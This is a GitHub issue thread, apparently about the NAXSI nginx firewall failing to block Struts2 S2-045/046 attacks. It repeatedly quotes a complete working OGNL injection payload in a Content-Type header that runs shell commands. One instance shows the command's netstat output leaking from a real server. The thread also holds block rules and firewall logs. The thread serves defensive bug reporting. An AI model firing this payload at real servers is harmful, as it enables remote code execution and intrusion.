Closed limithit closed 6 years ago
Hello @limithit Can you provide a reproducible test ? I'm not sure to get your point :)
Thanks !
Of course, this problem can be reproduced, and I tested a lot and it was the same result.
GET http://localhost/ HTTP/1.1
User-Agent: Fiddler
Host: localhost
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
HTTP/1.1 200
Server: nginx
Date: Mon, 09 Jul 2018 11:48:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=8DFD4B669CD3843B00046108399937DF; Path=/; HttpOnly
Content-Language: zh-CN
c33
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:45065 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 :::8009 :::* LISTEN -
tcp6 0 0 :::3306 :::* LISTEN -
tcp6 0 0 :::6379 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
tcp6 0 0 :::40644 :::* LISTEN -
udp 0 0 0.0.0.0:53778 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp 0 0 0.0.0.0:672 0.0.0.0:* -
udp 0 0 127.0.0.1:704 0.0.0.0:* -
udp 0 0 0.0.0.0:23279 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp 0 0 0.0.0.0:57697 0.0.0.0:* -
udp6 0 0 :::12945 :::* -
udp6 0 0 :::672 :::* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::34134 :::* -
udp6 0 0 :::111 :::* -
udp6 0 0 :::37053 :::* -
0
This is my actual temporary scheme:
if ($content_type ~* "multipart/form-data") {
return 403;
}
This seems to be the result of content-type overflow @buixor
@limithit sorry was busy on other stuff, I'll try to take a look at it this week :)
Hello again @limithit !
After some testing, I was not able to reproduce (or I misunderstood something).
location / {
BasicRule id:4242 "rx:multipart/form-data" "mz:$HEADERS_VAR:content-type" "s:DROP";
LearningMode;
SecRulesEnabled;
Request :
curl -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" localhost:4242
The request is correctly dropped by the rule :
2018/07/24 13:56:29 [error] 9108#0: *1 NAXSI_FMT: ip=127.0.0.1&server=localhost&uri=/&learning=1&vers=0.56&total_processed=1&total_blocked=1&block=1&zone0=HEADERS&id0=4242&var_name0=content-type, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", host: "localhost:4242"
However, beware, as content-type
only makes sense for POST requests (that have a body).
If you do the same request, without the custom rule, and issuing a POST
method, you will get this :
curl -XPOST -vvv -d @/tmp/xxx -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" localhost:4242
2018/07/24 14:02:44 [error] 9319#0: *9 NAXSI_FMT: ip=127.0.0.1&server=localhost&uri=/&learning=1&vers=0.56&total_processed=9&total_blocked=5&block=1&zone0=BODY&id0=11&var_name0=, client: 127.0.0.1, server: localhost, request: "POST / HTTP/1.1", host: "localhost:4242"
The ID 11, triggered here is the uncommon content-type one.
Can you either confirm or provide some further info ?
cheers,
When I tested it, the log indeed recorded the deleted request, but I can actually execute the webshell. maybe you have to reproduce the vulnerability environment to understand, so let's just give up.@buixor
I have repaired this bug and submitted the merge request. @buixor
The PR in question being #434
The attack of struts2-045 046 has been matched to the rule, but it has not been intercepted.
Removing '%' is intercepted